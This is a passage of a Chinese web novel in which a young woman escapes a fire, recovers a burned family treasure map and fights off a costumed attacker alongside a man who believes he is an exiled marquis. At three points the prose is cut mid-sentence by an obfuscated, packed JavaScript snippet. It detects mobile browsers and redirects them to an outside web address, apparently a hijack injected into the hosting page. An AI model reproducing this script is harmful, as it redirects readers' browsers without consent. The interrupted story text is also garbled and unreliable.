她赶紧又拨了119,报完了火警,这才想起一起逃生的另一个人来。 容成叙早已解开身上的绳索,见她终于回身来看自己了,连忙眼神闪躲,摸着背部嘴上哼哼道:“嘶——痛!” 君令仪狐疑地审视了他一眼,心如明镜道:“别装了,你的眼神出卖了你。” 容成叙一愣,脸上刚下去的红晕唰地一下子又回来了。他无辜道:“我是真痛,我要看大夫。 君令仪明显不信他,走到他身后,遂不及防地一把掀开他的衣摆瞄了瞄,阴阳怪气道:“我看有些人呀,不仅脑子不好使,还挺能作。” 他背部哪来的伤,明明光滑细嫩,肌肉劲瘦,身材好得很……而且,没想到这满口仁义道德的古板人,腰间竟纹了个刺青,像极了一根挂满了瓜的藤蔓,其中藤尖上第一个瓜的颜色和别的瓜不一样,是血红色的,仿佛熟透了一般。 怎么又是瓜?玉佩有瓜,腰上也有瓜,这一天天的,净是看瓜,咱都成吃瓜群众了…… 君令仪正纳闷着,谁知容成叙忽然整个人弹跳起来,裹紧衣摆后退了一大步,又是羞赧又是惊恐地低喝道:“你作甚!本侯已然退了你的婚,你竟还对本侯如此无礼!” 哎呀呀!原来是只披着轻佻散漫面皮的纯情小白兔,不,是“小猴子”,哈哈哈! 君令仪刚才还乌云密布的心情一下子就晴朗起来了,止不住的笑意从怎么压都压不住的嘴角跑了出来:“哈哈哈!瞅几眼怎么了,看把你急的。哈哈哈!” 容成叙像是名良家少女被她调戏了般,愤愤不平地道:“岂有此理!岂有此理!君小姐你大庭广众之下衣着暴露,举止轻浮,简直伤风败俗,难以理喻!” 君令仪被他一通骂,非但没有半点羞愧,还心情忒好地嘲笑他:“啧啧!这就伤风败俗了?‘侯爷’您真是没见过世面呀,改日让‘本公主’带您涨涨见识,啊。” 容成叙被她的口出狂言噎得涨红了脸,却一句话也接不上来。 君令仪租住的是城中村廉价老旧的步梯民房,失火点是她家所在的七楼,也是最高的楼层。消防车几分钟就到了,但巷子狭窄进不去,消防员只好拖着喷淋管到巷子里朝大火处喷灌灭火。 租客们也陆陆续续惊慌狼狈地逃了出来。 君令仪没闲着,过去搀扶一名老态龙钟的老人家。那老太太悲恸极了,站都站不稳,一边抹着眼泪一边颤抖着声音说:“哎呀!我的儿呀!让你别喝了你不听,这可怎么办啊?” 老太太嘴里的儿子便是那酒鬼,君令仪这才知酒鬼没逃出来,听刚才的打斗声,可能是被人打晕了倒在她家门口,看来是凶多吉少了! 不对!也许被打的是另一个人,毕竟那酒鬼酗酒好赌家暴,连老婆都受不了跑了,他暴打别人也不足为奇。 到底是谁打了谁,这很难判断。 火势起得急而大,幸亏消防来得及时,半小时后终于扑灭了,否则在这如鸽子笼般密集的城中村,火势一旦蔓延开来,后果不堪设想。 那酒鬼幸运地被救了过来,被发现的时候是倒在君令仪家门口附近的,全身大面积烧伤,好在还有一口气在。 虽然火灾发生在凌晨,但除了那酒鬼命悬一线,其他租客都及时逃生了,大多数都没有生命危险。消防一再仔细搜查过无生命迹象后,一并勘察并封锁了现场。 除了君令仪,还有两户人家遭了秧没法回家住了。 “哎哟!三更半夜的,不让我们回家,让我们住哪呀!” “能住哪,自己找地方呗。走吧,去亲戚家借住几晚吧。” “我一个刚落脚的外地人,在这哪有亲友。唉!他爷的,真是背!只能去旅社睡一晚了。” “妈的!等等!会不会有人趁我们走了就进去偷东西啊。不行,我得回去收拾收拾才能走!” 君令仪耳边听着租客们七嘴八舌骂爹骂娘的埋怨,蓦地想起一件重要的事来! 两年前,她爷爷弥留之际,曾亲手拿给她一张老旧的羊皮卷,千叮万嘱道:“这是咱君家的祖传之物,千万要保存好,不可遗失。”她不解地问:“这是什么东西,有什么用?”爷爷却说他也不知道,只是祖祖辈辈一直这么留传下来的,说命数到了,自然会知道它的用处了。 君家祖上一直是社会底层的劳动人民,日子过得紧巴巴的,打君令仪记事起,家里就没什么值钱的东西。所以,她当时觉得是老爷子病得神志不清胡诌的,就没把羊皮卷当一回事,不过这毕竟是老爷子唯一的遗愿,她还是用玻璃瓶将羊皮卷好好地封存起来放好,之后一直都没再拿出来过,突然起火了才想起这事来。 完了!刚才火势这么大,那羊皮卷不会已经付之一炬了吧?!要真那样,她可真是愧对老爷子了! 君令仪急急忙忙偷偷摸摸地跟着邻居进了楼,回了家。 火灾过后的楼道和房屋都停了电,到处一片漆黑。 她亮起了手机的电筒,从一片狼藉和灰烬中摸索着找到放在沙发底下的小纸箱……哪还有什么沙发什么纸箱,眼前只剩下被大水浇灌过碳化乌黑的布渣和余烬,啥也没有! 罪过啊!那羊皮卷不会直接被烧焦升天了吧? 君令仪一边在心中默默祈祷,一边不死心地沿着水柱的方向再搜寻。 不一会,她便在小厨房被烧坏的下水道中找到了玻璃瓶,羊皮卷还在里面! 眼前满目疮痍,唯独这羊皮卷竟在大火焚烧后侥幸留存下来。看来,这东西确实有股不同寻常的“妖气”,它该不会真的是她老君家的“传家之宝”吧! 君令仪连忙将玻璃瓶捡了起来,但瓶塞早就不翼而飞了。她伸手往玻璃瓶中掏出羊皮卷。 淦!羊皮卷被烧掉了一截!还被水洗礼过! 她急忙用嘴咬住手机来照明,小心翼翼地打开了羊皮卷。 老爷子将这东西给她时,她打开看过一次,依稀记得上面右边画有一个类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323381|183194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似玉佩的图样,左边则是一个简单的地图。 细细想来,这应该是一张藏宝图,宝物显而易见便是上面画的玉佩,不知是哪个朝代那位皇亲国戚佩戴过的,说不定价值连城呢! 当时匆匆瞄了眼,也没当回事,根本不记得具体细节了。现在倒好,羊皮卷刚好被烧了下半部分,也就是说,玉佩和地图路线都丢失了后半截。就这破烂地图,谁知道在哪里找回宝物啊! 看来她君令仪就是穷鬼的命,横财向来轮不到她。 算了,反正“传家之宝”还在,管它是真是假、是否完整,按照老爷子的遗愿传给下一代就算完成任务了——虽然不知下一代在哪,呵! “瞧你那紧张样,我还以为是银票呢。” 黑暗中,身后蓦地响起一声沙哑暗沉的嗓音,把君令仪吓了一跳。 她卷好羊皮卷,回过身来,拿手机电筒照向来人,不满道:“你猫啊,走路咋没声!”随后又挖苦道,“哟!您不是背疼吗?跟上来干嘛。” 容成叙避开她刺眼的灯光,慵懒一笑,道:“我怕你拿了银子跑了,此地我初来乍到,只认得君小姐,没有君小姐,谁管我吃住。” 君令仪刀他一眼:“见过不要脸的,没见过这么不要脸的。能把吃软饭说得这么光明正大的,你认第二都没人敢认第一。” 容成叙丝毫不觉有愧,还忒脸大地说:“要是能吃上软饭,谁还吃素面呀,君小姐你说是不?” “呵呵!”君令仪凉凉地干笑两声。 行吧,这脑子有毛病的男人是铁了心要跟着她了,那她不得物尽其用,到时候不让他哭爹喊娘地和她说拜拜,她就不姓君! “君小姐,今晚我们去哪留宿?” 君令仪正要回答他,眼前却陡然出现一道挥动的银光,刹那间破开漆黑的暗夜,带起一股冷冽渗人的妖风。 有杀气! 看那方向,是冲着神经病来的! 君令仪来不及细想,以迅雷不及掩耳之势一把拉住容成叙,让他侧身躲过身后致命的一刀,下一秒她将手上的玻璃瓶用力朝袭击者掷去。只听见“啪嚓”一声,玻璃碎了的同时从黑暗中传来一丝轻微的倒吸气。 君令仪丝毫不敢恋战,趁对方分神的当口,迅速拉着容成叙跑了出去,跑下楼梯。 后面的人立刻回过神来,穷追不舍,眼看就要追上了,君令仪急中生智,将手机电筒往后面一照,那歹徒被刺眼的灯光晃了眼,脚步不自觉地慢了一拍,她趁机蹲下,迅速飞起一个横扫腿,竟把对方一下子撂倒!虽然用小聪明侥幸略占上风,但对方的刀依然紧紧握在手里。 君令仪一刻不敢耽误,朝前面的人大声喊道:“滑扶手下去,快!” 危急时刻,容成叙似乎相信她的身手可以应付得了,只是回头看了她一眼,而后一言不发干净利落地照做。几个转眼,他很快就滑到了楼下。 君令仪也紧跟其后,只是她过于轻敌,没等她滑到楼梯扶手的尽头,就被那歹徒一把抓住了,寒光流动冷气森森的长刀架在了她的脖子上! 完了完了完了!多管闲事,不自量力,今晚要交代在这了…… 5. 命不保矣 “别动!”那黑衣歹徒低喝一声,架着她推搡着示意她朝前下楼去。 君令仪一动也不敢动,那歹徒又喝道:“走啊!下去!” 君令仪陪着笑脸道:“嘻嘻!大哥,你到底是让我不要动还是让我动啊……” 那歹徒面露凶光继续喝道:“俺现在让你下去!” “好好好!都听你的,你别冲动……”君令仪就着脖子上的长刀和歹徒慢慢腾挪到一楼去。 容成叙倒好,虽然依然穿着三院的病服,光着细皮嫩肉的大脚丫子,但一手抄在身前,一手背在腰后,长身玉立地站在一楼等着他们。月华如水,皎洁的月光似乎特别眷顾他,轻轻悠悠地洒到他身上,竟一改之前的病态美人感,显出一派清风朗月之姿来。 君令仪愣了愣神,但很快就被挟持自己的歹徒往前一推,一个踉跄,回过神来。 只听那歹徒阴恻恻地对容成叙道:“侯爷,没想到来了流放之地,摄政王还不肯放过你吧。” 容成叙用那沙哑受损的嗓音不紧不慢地道:“他派人追来那是迟早的事。”他看了看拼命给他使眼色的君令仪,“不过,你可知你挟持的小娘子是谁家的千金?” 那歹徒一愣,打量了手上的人质一眼,不屑一顾道:“侯爷,你可别想诓俺,这小娘子衣着暴露,一看就是瓦舍里的妓女。” 什么?!妓女!!!喂!大夏天在家里穿件睡裙睡觉怎么了,犯法了?!只是刚好碰上火灾,逃命要紧来不及换件衣服而已,何以认定她就是……妓女!简直太侮辱人了!士可杀不可辱! 君令仪气得肺都要炸了,顾不上脖子上还一直架着把明晃晃亮堂堂的长刀,脖子一梗,不怕死地道:“瞧不起谁啊!谁是妓女了!我君令仪就算穷到吃不起饭饿瘫在地上,也不会卖肉的!” 那歹徒听她一反驳,立刻把刀往下一压,威胁道:“不许动!也不许说话!”他瞄了眼她露出半截的双腿,讪笑道,“哼!你不是瓦舍的妓女,也至少是侯爷的家妓……” 他话还没说完,君令仪的耳边突然有什么东西呼啸而过,只听见身旁那歹徒“哎呦!”一声,原本在背后扣住她双手的手臂松开来。间不容发之际,她机敏地往后一缩,躲过脖子上的长刀,再飞起一脚踢向那捂住鼻子的歹徒的裤|裆。 那歹徒险险避过,惊魂未定之时,长刀差点儿脱了手。他手一转,长刀调转了方向,直愣愣地砍向君令仪,嘴里恶狠狠地嚷道:“臭婆娘!想让俺断子绝孙,心比墨还黑!俺今天就灭了你!” 说时迟那时快,伴随着容成叙的一声惊叫“小心!”,长刀已然砍到了君令仪的面前来,她躲避不及,只好下意识地用右手挡在身前,生生接了这如疾风骤雨般的一刀!强劲的刀风甚至将她往后推了半米有多。 一股锥心的疼痛立刻从被砍的右手传来!君令仪惊得冷汗直冒。 完了!右手废了,她是右撇子啊,以后别说体能训练了,就是拿笔签名、吃饭穿衣都得从头学起…… 正当君令仪踹踹不安地接受命运的洗礼时,那徒眼见一击未中,又奋起一跃窜到她面前来,手一挥,下一刀接踵而至! 君令仪情急之下,又习惯性地抬起右手一挡,但意料之中的疼痛没有传来,反而听到那歹徒“扑通”一声倒地的声响。 她放下手一看,好家伙!地上不知何时多了一个喝光了的酒瓶,那歹徒就是踩到了滑溜溜地酒瓶才摔了个狗吃屎的! 连老天爷都在帮她,看来她命不该绝啊! 不待对方爬起,君令仪反应迅速地一脚踢向那歹徒手握长刀的手,长刀在他吃痛的低吟声中脱手而出,她抢先一步飞奔过去捡了起来,紧紧地握在了手里! 一刀在手,我命就有!有没有?哈哈哈! 那歹徒快速爬了起来,在酒瓶上吃了瘪,他气得飞起一脚,把无辜的酒瓶踢飞到墙上去,“哐当”一声摔了个稀巴烂。眼见那家妓有几下功夫,又抢了自己的刀,不是那么好对付。那歹徒眼眶发红,朝另一边作壁上观的容成叙发难:“侯爷,躲在家妓后面,真不愧是好男儿!有本事过来啊!” 容成叙厚颜无耻地道:“本侯不才,又不会武,就不过去添麻烦了,你们自行分出个高低即可。” 我的爷,您倒是有几分自知之明哈……不过,这坏人都不知是不是你招来,你就撒手不管了!虽然也没指望上你,但你这态度让人很不爽啊! 君令仪没好气地剜了他一眼,对方报以赧然一笑。 那歹徒见蒙不了纨绔侯爷,只好又转回来对付君令仪,先发制人地一掌横扫过来。 君令仪一个侧身,堪堪避过,对方的功力比她想象的深,掌风扫过,吹起了她及肩的短发。她借机乘虚而入,趁对方身形移动,空门大开之际,倒转刀柄自下而上挥刀切向对方,一击即中对方的胸膛! 那歹徒吃痛地倒退两步,最后支持不住地单膝跪在地上。 “哼!叫姑奶奶妓女,还是什么家妓,你是急着投胎吧。”君令仪洋洋得意地道。 容成叙这才施施然地走上前来,笑眯眯地赞叹道:“君小姐好身手!” 君令仪挑了挑眉,志得意满地道:“洒洒水啦!” 容成叙从她的言行举止中大致猜出她这话的意思,立刻变脸似的谄媚道:“没想到君小姐的岭南方言竟学得如此之好,坊间流传的不学无术愚昧无知之将门嫡女,简直是无稽之谈。” 这话说得很是中听嘛,不过,这漂亮话怎么听着有点别样的意味? 正当两人以为完事了在闲聊的当儿,一旁的歹徒突然奋起朝他们打出一掌,这一掌罡风迅猛而强劲,可见用了十成的功力,誓要将他们一举毙命的势头。 千钧一发之际,容成叙一把将君令仪推开,抬手出掌硬生生地接上这致命的一击。电光火石之后,两人都分别后退一大步,扎着马步瞅着对方一动不动。 君令仪看看这边,又看看那边。 嗯?这两人竟然有点旗鼓相当的感觉是怎么回事? 等等!那坏人的前胸怎么没流血?刚刚不是被她砍伤了吗?难道他有超强自愈能力?!不是吧,小说里才会有的金手指竟然出现在坏人身上?!要真这样就完犊子了!咦?不对,怎么她被砍伤的右手好像也活动自如,一点伤痕也没有,痛感也没那么强烈了?太奇怪了! 君令仪把疑惑地目光转移到手中的长刀上,这刀在月光下依旧银光闪烁好不干净!刀上没有血迹,一滴都没有!是这刀的工艺太好,还是这是把假刀啊?假刀? 她晃了晃刀,还挺重,至少是金属锻造的,再把手小心翼翼地摸上刀刃。好家伙,这刀刃都还没开呢,没开刃的刀就拿来砍人,开什么国际玩笑。 奶奶的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323382|183194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹了半天刚刚是砍了个寂寞! 君令仪再仔细去看那歹徒,昏暗忽闪的路灯下,依稀能看出那人一身古代装扮的黑衣黑裙,明明是个男人,头顶却和容成叙一样扎着一个利落的丸子头。 淦!又一个戏精!你们俩搁这对戏呢!一个演追杀,一个演逃亡,演得还挺像,要不要给你俩颁个影帝啊喂! “侯爷,你果然深藏不露呀!摄政王猜得没错,你不可留,今夜俺……” 那歹徒话音未落,就被君令仪一刀劈来打断了,他急忙后退一步,再出一掌。可未等他的掌落下,君令仪的刀又如疾风暴雨般从四面八方袭来,直逼得他节节后退,毫无还架之力。 她嘴里还嚷嚷道:“我让你演我让你演,哼!姑奶奶我打醒你个戏精!要不是我练过功,你刚砍我的那一刀,我手都骨折了!真是气人!” 那歹徒被逼到墙角去,避无可避,情急之下一把抓住了长刀的刀锋一拉。有刀在手,君令仪哪肯松手,他这一拉让她一个趔趄,险些跌倒。那歹徒迅速从地上捡起刚摔的酒瓶碎片,往她手腕上一割,她的手当即血流如注! 艹!来真的!莫不是戏精成精了!!! 君令仪飞起一脚踢开他,正要破口大骂,谁知手上的刀猝不及防地被另一个人影一把夺走。她定睛一看,容成叙举起长刀,刀尖对准那歹徒的胸膛偏左,已是蓄势待发了! 妈呀!这是闹哪样,这神经病真要命!未开刃的刀杀不了人,但是刀尖可以杀人哪!!! “神经病!不是,容成叙!你冷静点!把刀放下!”君令仪着急地喝道。 容成叙转头看了她一眼,淡定道:“本侯不杀他,他就会杀本侯,先下手为强方为良策。” 君令仪一个头两个大,试图解释道:“我们现在是在现实生活里,不在戏里,你醒醒啊!你杀人是犯法的,犯法你知道吧,警察叔叔会把你捉住关进牢里,天天给你念经让你劳动,还没有手机玩,牢里的坏人还会打你,你这细皮嫩肉的哪经受得住。对对对,听姐姐的,放下屠刀立地成美男,美好生活就在你眼前,啊。” 容成叙默默地听完了她的话,刚松弛的手又把刀握紧,刀尖直抵住那歹徒的胸腔,不紧不慢左右而言他地道:“原来你玩的那个摄魂匣叫手机啊,本侯也要玩,你给本侯买一个。” “噗——”君令仪真想一口老血喷洒当场。 敢情他刚才是没在认真听啊,她继续苦口婆心地劝说道:“手机不重要,不是重点。乖,你现在把刀给姐姐,姐姐给你点个赞,360度无死角前无古人后无来者惊天地泣鬼神的超级无敌大赞!” “赞可以买手机吗?” 喂严肃点好不好!现在是在商量买不买手机的恰当时机吗?现在是不能杀人的严峻问题。你以为你神经病大嗮,就可以逃脱法律的制裁啊! “到底能不能买?” 君令仪极其无奈道:“能能能,给你买!行了吧。” 容成叙这才满意地一个转手,利落地收起长刀放在手臂后面,犹如一位武功盖世的大侠。他朝那大气不敢出的歹徒低喝一声:“滚!” 那歹徒忙不迭连滚带爬地逃走了。 啧啧啧,瞧这范儿这小样儿,真把自己当回事…… 容成叙转过头来看向君令仪,一本正经道:“我有赞了,你点的,明日买手机去。” 6. 何处是家 这——搬起石头砸自己的脚啊! 君令仪想了想,计上心头,忽悠道:“一个赞不够,要集齐100个赞才能买到手机。” 容成叙似乎没那么好骗,不咸不淡地反问道:“不是集齐7个即可?我在归来的马车上的大匣子所见,里面的皮影戏讲集齐7个龙珠可召唤神龙。那我是否集齐7个赞即可召唤出手机?” 呃……这鬼才逻辑,貌似有点道理,又好像不着调调!行吧,数字根本不重要,7个也成,反正怎么样他在她这里就不可能集齐7个所谓的“赞”。 君令仪笑嘻嘻地满口答应:“7个当然可以,不过这7个也要超级无敌大赞才行。” 容成叙点头如蒜:“一言为定!” 他将视线移到她手腕上的伤口,那伤口虽然长,但幸好没有割到要害,眼下已然停止了流血。 “君小姐,得找大夫治疗你的伤口,否则会留疤。”他说着,走到刚打斗的地上寻找着什么。 君令仪没把伤口放在心上,反而对他的行径好奇地问道:“你在找什么?” 容成叙一边眯着眼睛找一边回道:“我的玉佩。” 君令仪一听,无语道:“那道具丢了就丢呗,又不值钱。” 容成叙一愣,直起身来,皱着眉头道:“那是君小姐府上的贵重物品,是你和我的定亲信物。” 啥?和他的定亲信物?所以,将军嫡女任君是哪位明星演的啊,让他这么入戏?和她长得极像的女演员,怎么一点印象都没有? 该说不说,她是不是可以脸大的认为,既然长得像某个演员,那是不是说明其实她长得还不赖,哈哈! 君令仪犹在暗自自嗨中,就听到容成叙似笑非笑的话:“提到定亲,君小姐终于承认了?看来你对本侯还真是深情不移。” 这人一天天的夜郎自大,恬不知耻啊! 君令仪没好气地刀了他一眼:“我严正声明哈,我不会再说第二遍:我,君令仪,不喜欢你这种中看不中用的花美软饭神经病男,以前不喜欢,现在不喜欢,以后更不会喜欢。请你有清晰的认知!” 容成叙脸一绿,一言不发地转身继续找他那自认为珍贵的玉佩去。 久坏不修、蒙尘昏黄的路灯忽闪模糊,他费劲地摸索着,似乎始终不得法,竟一时半会找不到。 君令仪看不下去了,掏出手机打开电筒帮他找,片刻后,便在楼梯上的几步阶梯找着了,只是玉佩碎成了两掰。她捡了起来仔细一看,玉佩断裂处的玉质细腻如脂,不见丝毫杂糅,可见其质地纯净,毫无疑问是真货!而且是块极品玉佩,价值不说连城,至少不菲!可惜,断了…… 这玉佩真是拍戏的道具?现在拍个戏成本这么高了吗?能用到这么好的玉佩,那这道具必定是极其重要的,虽然不小心弄断了,但还是得还回去给剧组。 容成叙见她找到了,走过来看了看她手上的玉佩,轻叹一声,愧疚而无奈道:“君小姐,信物有损并非我所愿,只因当下情急,不得已而为之,你莫要生气。” 君令仪顺着他的话头,皱起了眉头佯装气愤道:“我就知道你不会好好珍惜,你看,玉佩在你手上都搞坏了,你说怎么办?要不还是让我保管吧,我会把它当成银子一样好好收藏的。” 容成叙摇摇头:“那可不成,既是信物,得在我手里。” 这是想占为己有啊,看来这神经病不是有病,是贪心。 君令仪眼珠一转,振振有词道:“你不是说退婚了吗?定亲信物当然也要退回去,你拿在手里是几个意思?哦,难不成还想吊着人任君,你个渣男!” 容成叙看了看她,几番欲言又止,最终竟也没有否认,而是理直气壮道:“若非我手上有这信物,方才危急之下,君小姐恐怕命不保矣。” 也就是说,那坏人挟持她的时候,他飞过来的东西是这玉佩?哎呀!这么好的玉糟蹋了!那刀没开刃,架在脖子上是伤不了人的,何必糟蹋这么贵重的玉器,可惜啊! 不过转念一想,他当时哪知道刀还未开刃,是救人心切才出此下策,也是情有可原。 好吧,虽然他入戏太深神经兮兮的,但至少人不坏,暂时还能留着。 君令仪小滑头般地道:“我谢谢您呐爷!”随后手一收,把那两掰玉佩放进睡裙肚腩处的口袋里,“玉佩我先暂时保管了,等见到任君小姐我再还给她。” 容成叙抿紧了唇瞄了眼她的口袋,脸微红,想伸手去抢又不敢,傻愣愣地站着不说话。 “对了,在哪里可以找到任君?你们演哪部剧?剧组在哪拍戏?” 容成叙盯着她看了片刻,幽幽地道:“你若依旧记不起你是何人,我亦无可奉告。” 我的乖乖,他是要让她硬认了任君这个将军嫡女的身份呀,确实病得不轻! 看来跟他掰扯是没有结果的了,大半夜的,还是省省力气吧。 君令仪打了个大大的哈欠,下了楼梯,瞥见他负手握着的寒芒流动的长刀,伸手问他拿来:“刀是管制品,不能随便带出去,得放好。” 容成叙依言递给了她,她在附近转了几圈,找到垃圾桶,挑拣了几个快递袋子,把刀包严实了,再扔进了垃圾桶。 做完这一切,她拍了拍手,转身一边往公交车站的方向走一边道:“走吧,找个地方过夜。” 容成叙连忙跟上她的步伐,问道:“去往何处留宿?客栈吗?” “嗯。” 他一点都不见外地提要求:“邻近是否有悦来楼,此楼佳肴上等、房舍舒适,当属佳选。” 君令仪闻言蓦地刹住了脚步,后面的人躲闪不及一下子撞上了她的背,他那白皙的脸又莫名其妙地红了。 容成叙见她横眉竖眼的,有点结巴道:“君,君小姐,我并非有意撞你,是……是你倏然停住了……” 君令仪烂泥扶不上墙似的剜了他一眼,凉凉地道:“你给我记住了,君小姐我可不是什么将军嫡女,我就一穷得叮当响的牛马,悦来楼这种档次的酒店,我连门都进不去,以后别给我提了啊!有地方你睡就睡,别叽叽歪歪的。” 容成叙小心翼翼地举起右手:“我尚有一话。” “讲。” “君小姐的父亲镇北大将军可在此地?若在,何不……” “我老爸死了,我爷爷也死了,我妈跑了,我家就剩我一个了。”君令仪不耐烦地打断他,“所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323383|183194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有镇北大将军,更没有将军府,我真没钱,懂了没?” 容成叙像听到噩耗似的既震惊又哀伤,消化了片刻后,才缓缓点点头道:“懂了,节哀。” 他这一句“节哀”明明就只是例行公事,但莫名让君令仪有种说不清道不明的别样情绪,似乎走在干燥无边的沙漠很久很久,忽然来了一阵湿润的凉风,吹得人心里都滋润了起来。 君令仪瞄了他一眼。嗯,这人怪好看的,个子够高,身材出挑,除了脑子有毛病,其他倒挑不出什么来。 “走吧,给你找个舒服的地儿睡。” 她一时心软,带着他坐车去了悦来楼附近的公寓式酒店。 前台小妹打着哈欠睁着惺忪的双眼打量着两位衣着特殊的来客,问道:“两位是要住酒店吗?” 君令仪道:“是的。” “身份证提供一下。” 糟了,容成叙根本没有证件在身上,而且火灾逃生得匆忙,她自己没来得及拿身份证,不过还好之前在手机录入过。 君令仪打开手机:“电子身份证可以吗?他跟我一起的,一个身份证就可以了吧?” 那前台小妹似乎颇有经验,心领神会地瞄了他们一眼,在电脑上一边登记一边道:“那给你们开间大床房咯。” 君令仪一听,急忙阻止道:“不不不,两间单人房,我和他不是那种关系,呵呵。” 前台小妹道:“开两间房需要两张身份证。” 君令仪陪着笑脸,胡诌道:“小美女,你看他还穿着三院的病服,他得了绝症,治不好的那种,好不容易偷跑出来透透气,明天一早就要回医院,你就可怜可怜他吧,通融这一次啦!” 前台小妹犹豫了一下,再次打量着面前的年轻男人,对方朝她真诚地眨了眨眼,友善地一笑。 一个大男人顶着个丸子头,确实有点非主流,应该是真生病了,真可怜,可惜了,长这么帅,唉! “行吧,给你们开两间房,都是单人床,对吧?” “对对对,谢谢你啊美女,人美心善,一生好运哦~~”君令仪冲她甜甜地一笑。 前台小妹很是受用地笑了笑,手指在键盘上翻飞:“一间房一晚298,两间就是596,微信还是支付宝?” 嗯?这么贵?! “等等美女,涨价了吗?我记得一间单人房是168一晚啊,我们局里……公司去年接待……客户才来这里住过。” 前台小妹解释道:“姐,凡是酒店今年都涨价了,最近挺多外地人来翰州旅游的,酒店都不够住了,你这是没订房的情况下还能临时挤出两间给你,你要是不要,过一会就没了。” 君令仪精明地嘻嘻一笑道:“美女,这都大半夜了,谁还会订今晚的房啊,你看下能不能给我打个折,就按168一间,两间336,336这数字多好意头啊,生生不息、生意兴隆嘛。” 前台小妹笑了:“价格可不是我说了算,系统都设置好的,改不了,不过——”她来回看了看他们,意味不明地笑道:“刚好我们酒店的大床房是336一晚,要不你俩就开一间?话说,你男朋友不是生病了么,走之前留下点美好回忆也算值了叭。” 7. 奇异梦境 这都哪跟哪啊,还男朋友……谁要和一个神经病有美好回忆!不是,这不就是因为自己刚刚大舌头乱讲带跑偏了么…… 君令仪偷瞄了眼一旁一直乖巧听话的容成叙。 嗯,这人动不动就脸红,刚才还救过她,虽然是乌龙一场,但总体算是个好人。而且,论武力值,她完全可以轻松撂倒他,他这人不堪一击,不足为患。不过,只有一张床的话,他只能睡地,好像有点不人道…… “美女,标双呢?怎么收费?”君令仪问道。 前台小妹看了看显示器,道:“标双一晚399。” 399还能接受,比596便宜了近200块钱,性价比超高啊。 虽说596有两个单人间,但扛不住贵呀!她剩下的存款不足两千,离下次发工资还有大半个月呢,还得另外租房子,衣食住行样样要钱,都不知能不能熬到下个月,谁还管什么瓜田李下之嫌呢。再说了,399虽然要住同一个房间,但有两张床,互不干扰,那神经病要是敢造次,她就直接剥他一层皮,问他怕不怕! 君令仪盘算好,又笑眯眯地道:“那麻烦你开一间标双。” 房间开好后,君令仪问前台小妹借了手机充电器,拿了房卡,带着容成叙坐电梯上楼。 电梯里,容成叙左瞧瞧右看看,又开腔赞叹了:“君小姐,没想到岭南地区富饶至此,夜明珠供应甚是充足,就连百炼钢也遍地都是,真是个绝妙的地儿。此地用作流放,当真是牛鼎烹鸡,大材小用了。” 君令仪已经习惯了他的大惊小怪,配合着质疑他道:“怎么?你对你家皇帝老子的决定有意见?” 容成叙一惊,忙摇头又摆手道:“非也非也,本侯哪敢非议皇上。”他朝某个方向拱了拱手,但很快意识到天高皇帝远,他恭敬的皇上此时哪管得了他。 君令仪瞧他由惊慌转为淡定的神色,不由得逗乐心态作祟,指了指电梯顶端的摄像头,故作高深道:“我说侯爷,皇帝老子看着呢,那,就那,头上,对对对,那里有只千里眼,你的一言一行都有人监视着呢。” 容成叙抬头看到摄像头,又是一惊,但他只看到一个红点点,哪里有什么千里眼,不禁狐疑地问道:“君小姐该不会是诓我吧?” 君令仪嘻嘻一笑:“骗你是小狗,不信你按一下那个黄色的铃铛。” 容成叙不疑有他,当真过去按了下电梯控制面板上的紧急按钮。 “嘟……嘟……咔嚓”那边的对讲器被接起,一个中年大叔粗犷且含糊的嗓音在电梯里响起:“啥事?困电梯了?” 君令仪忙回道:“没事,小朋友调皮按错了,不好意思啊叔!” 那大叔正打盹呢,被人无故打扰,瞧了眼监控器,顿时不满道:“妹子,俺活这么久就没见过个头这么大的小孩!”随后“咔嚓”一声,把对讲器挂掉了。 君令仪冲旁边目瞪口呆又欲言又止的男人一笑,道:“没骗你吧。” 容成叙露出一个勉强的笑意。 这时,“叮当”一声,楼层到了,两人出了电梯。 深夜的走廊虽灯火通明,但却很安静。 容成叙警惕地抬头看看四周,眼神定在了天花板上的几个摄像头上。 君令仪一边根据指示找着房间,一边不忘趁机教育他:“看吧,到处都有千里眼,你以后行事可要注意点,不能动不动就杀人。现在是法治社会,是有王法的,皇子犯法与庶民同罪,无论你是不是有理,杀人都是不可取的,都是要坐牢的,懂了吗?” “嗯。”容成叙似乎听进去了,浅浅地应了声。 “还有哦,猥亵妇女也是犯法的,也是要受惩罚的,严重的也是要坐牢的!” 容成叙看了看她,脸微红,诚恳地道:“若无君小姐允许,我是不会冒犯你的。” 